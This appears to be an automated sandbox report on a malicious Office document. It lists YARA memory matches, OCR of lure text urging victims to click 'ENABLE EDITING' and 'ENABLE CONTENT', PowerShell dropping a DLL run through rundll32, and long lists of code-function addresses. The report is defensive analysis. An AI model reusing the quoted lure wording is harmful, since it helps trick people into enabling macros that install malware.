Source: Yara match File source: 00000010.00000002.2111379658.0000000000150000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2104432048.0000000000211000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2112781358.0000000000150000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2113001666.0000000000231000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2098670665.00000000006B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.2114590514.00000000002A1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2099888213.00000000001D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2104402194.00000000001F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.2118123404.0000000000201000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 19.2.rundll32.exe.1d0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.rundll32.exe.140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.rundll32.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.2c0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.rundll32.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.1b0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.190000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.rundll32.exe.1a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.270000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.rundll32.exe.200000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.1d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.2.rundll32.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.rundll32.exe.230000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.230000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.210000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.1e0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.1c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.rundll32.exe.140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.690000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.2.rundll32.exe.240000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.1e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.380000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.200000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.rundll32.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.6b0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.1f0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.150000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.1a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.2c0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.1c0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.rundll32.exe.220000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.220000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.6b0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.380000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.rundll32.exe.190000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.1f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.690000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.2a0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.150000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.2.rundll32.exe.1d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.1f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.rundll32.exe.140000.0.unpack, type: UNPACKEDPE
Drops certificate files (DER)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A Jump to dropped file

System Summary:

barindex
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 4 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document. 0 Page: I 0' ' Wo'd"
Source: Screenshot number: 4 Screenshot OCR: DOCUMENT IS PROTECTED. I Previewing is not available for protected documents. You have to press "E
Source: Screenshot number: 4 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Screenshot number: 4 Screenshot OCR: ENABLE CONTENT" buttons to preview this document. 0 Page: I 0' ' Wo'd" N@m 13 ;a 10096 G) FI
Source: Screenshot number: 8 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document. . . . . '% O a S
Source: Screenshot number: 8 Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Screenshot number: 8 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Screenshot number: 8 Screenshot OCR: ENABLE CONTENT" buttons to preview this document. . . . . '% O a S
Source: Document image extraction number: 0 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 0 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 0 Screenshot OCR: ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 1 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 1 Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Document image extraction number: 1 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 1 Screenshot OCR: ENABLE CONTENT" buttons to preview this document.
Powershell drops PE file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Rg0646r\Q90xmrq\M8jklv4.dll Jump to dropped file
Very long command line found
Source: unknown Process created: Commandline size = 7688
Source: unknown Process created: Commandline size = 7597
Source: C:\Windows\System32\cmd.exe Process created: Commandline size = 7597 Jump to behavior
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Creates files inside the system directory
Source: C:\Windows\SysWOW64\rundll32.exe File created: C:\Windows\SysWOW64\Bjbj\ Jump to behavior
Detected potential crypto function
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000D270 7_2_1000D270
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10011EA7 7_2_10011EA7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10012750 7_2_10012750
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10012B5C 7_2_10012B5C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001237C 7_2_1001237C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10012F7C 7_2_10012F7C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002C6C05 7_2_002C6C05
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002C4121 7_2_002C4121
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002D4DAD 7_2_002D4DAD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002DC19B 7_2_002DC19B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002C6E8A 7_2_002C6E8A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002D533C 7_2_002D533C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002CFB04 7_2_002CFB04
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002C9716 7_2_002C9716
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002CE360 7_2_002CE360
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002DA7E4 7_2_002DA7E4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002C83F0 7_2_002C83F0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002C4828 7_2_002C4828
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002D0C65 7_2_002D0C65
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002D5060 7_2_002D5060
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002D1C79 7_2_002D1C79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002CF471 7_2_002CF471
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002C884A 7_2_002C884A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002CD04B 7_2_002CD04B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002CC8A5 7_2_002CC8A5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002DD08F 7_2_002DD08F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002CF099 7_2_002CF099
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002DA094 7_2_002DA094
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002CB0E1 7_2_002CB0E1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002D68CB 7_2_002D68CB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002C792C 7_2_002C792C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002CE924 7_2_002CE924
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002D5D36 7_2_002D5D36
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002C5D0E 7_2_002C5D0E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002D2513 7_2_002D2513
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002D8978 7_2_002D8978
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002DC95E 7_2_002DC95E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002C4D5F 7_2_002C4D5F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002C81A0 7_2_002C81A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002C59B8 7_2_002C59B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002DB19F 7_2_002DB19F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002C8994 7_2_002C8994
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002D39E1 7_2_002D39E1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002C1600 7_2_002C1600
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002D3600 7_2_002D3600
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002C3618 7_2_002C3618
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002C766F 7_2_002C766F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002CD668 7_2_002CD668
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002D2A7D 7_2_002D2A7D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002D8E79 7_2_002D8E79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002C427A 7_2_002C427A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002D7A50 7_2_002D7A50
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002D72AE 7_2_002D72AE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002D0EA0 7_2_002D0EA0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002C6ABA 7_2_002C6ABA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002C12B6 7_2_002C12B6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002DA2EA 7_2_002DA2EA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002C7AE4 7_2_002C7AE4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002D9AE2 7_2_002D9AE2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002CD2CE 7_2_002CD2CE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002CDEC9 7_2_002CDEC9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002D76D5 7_2_002D76D5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002D12D1 7_2_002D12D1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002CBB28 7_2_002CBB28
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002D0705 7_2_002D0705
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002D8313 7_2_002D8313
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002D5B60 7_2_002D5B60
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002D5748 7_2_002D5748
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002D3745 7_2_002D3745
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002C2746 7_2_002C2746
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002C6342 7_2_002C6342
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002CDB5B 7_2_002CDB5B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002C8F55 7_2_002C8F55
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002C67AC 7_2_002C67AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002C3FAB 7_2_002C3FAB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002CB3A2 7_2_002CB3A2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002CFFB5 7_2_002CFFB5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002DCBB0 7_2_002DCBB0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002CEF80 7_2_002CEF80
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002C3B97 7_2_002C3B97
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002CB7F8 7_2_002CB7F8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002C33F4 7_2_002C33F4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002CC3C2 7_2_002CC3C2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006A4460 8_2_006A4460
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006A0065 8_2_006A0065
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006A1079 8_2_006A1079
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0069E871 8_2_0069E871
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0069C44B 8_2_0069C44B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00697C4A 8_2_00697C4A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00693C28 8_2_00693C28
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00696005 8_2_00696005
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0069A4E1 8_2_0069A4E1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006A5CCB 8_2_006A5CCB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0069BCA5 8_2_0069BCA5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006AC48F 8_2_006AC48F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0069E499 8_2_0069E499
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006A9494 8_2_006A9494
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006A7D78 8_2_006A7D78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006ABD5E 8_2_006ABD5E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0069415F 8_2_0069415F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00696D2C 8_2_00696D2C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00693521 8_2_00693521
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0069DD24 8_2_0069DD24
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006A5136 8_2_006A5136
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0069510E 8_2_0069510E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006A1913 8_2_006A1913
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006A2DE1 8_2_006A2DE1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006A41AD 8_2_006A41AD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006975A0 8_2_006975A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00694DB8 8_2_00694DB8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006AB59B 8_2_006AB59B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006AA59F 8_2_006AA59F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00697D94 8_2_00697D94
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0069CA68 8_2_0069CA68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00696A6F 8_2_00696A6F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0069367A 8_2_0069367A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006A8279 8_2_006A8279
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006A1E7D 8_2_006A1E7D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006A6E50 8_2_006A6E50
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00690A00 8_2_00690A00
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006A2A00 8_2_006A2A00
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006B1600 8_2_006B1600
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00692A18 8_2_00692A18
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006A96EA 8_2_006A96EA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006A8EE2 8_2_006A8EE2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00696EE4 8_2_00696EE4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0069D2C9 8_2_0069D2C9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0069C6CE 8_2_0069C6CE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006A06D1 8_2_006A06D1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006A6AD5 8_2_006A6AD5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006A66AE 8_2_006A66AE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006A02A0 8_2_006A02A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00695EBA 8_2_00695EBA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006B12B6 8_2_006B12B6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006906B6 8_2_006906B6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0069628A 8_2_0069628A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0069D760 8_2_0069D760
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006A4F60 8_2_006A4F60
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006A4B48 8_2_006A4B48
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00695742 8_2_00695742
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00691B46 8_2_00691B46
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006A2B45 8_2_006A2B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0069CF5B 8_2_0069CF5B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00698355 8_2_00698355
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0069AF28 8_2_0069AF28
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006A473C 8_2_006A473C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0069FB05 8_2_0069FB05
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0069EF04 8_2_0069EF04
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006A7713 8_2_006A7713
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00698B16 8_2_00698B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006A9BE4 8_2_006A9BE4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0069ABF8 8_2_0069ABF8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006977F0 8_2_006977F0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006927F4 8_2_006927F4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0069B7C2 8_2_0069B7C2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006933AB 8_2_006933AB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00695BAC 8_2_00695BAC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0069A7A2 8_2_0069A7A2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006ABFB0 8_2_006ABFB0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0069F3B5 8_2_0069F3B5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0069E380 8_2_0069E380
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00692F97 8_2_00692F97
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D6005 9_2_001D6005
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D3C28 9_2_001D3C28
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DC44B 9_2_001DC44B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D7C4A 9_2_001D7C4A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E1079 9_2_001E1079
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DE871 9_2_001DE871
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E0065 9_2_001E0065
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E4460 9_2_001E4460
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DE499 9_2_001DE499
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E9494 9_2_001E9494
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001EC48F 9_2_001EC48F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DBCA5 9_2_001DBCA5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E5CCB 9_2_001E5CCB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DA4E1 9_2_001DA4E1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E1913 9_2_001E1913
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D510E 9_2_001D510E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E5136 9_2_001E5136
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D6D2C 9_2_001D6D2C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DDD24 9_2_001DDD24
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D3521 9_2_001D3521
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001EBD5E 9_2_001EBD5E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D415F 9_2_001D415F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E7D78 9_2_001E7D78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001EA59F 9_2_001EA59F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001EB59B 9_2_001EB59B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D7D94 9_2_001D7D94
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D4DB8 9_2_001D4DB8
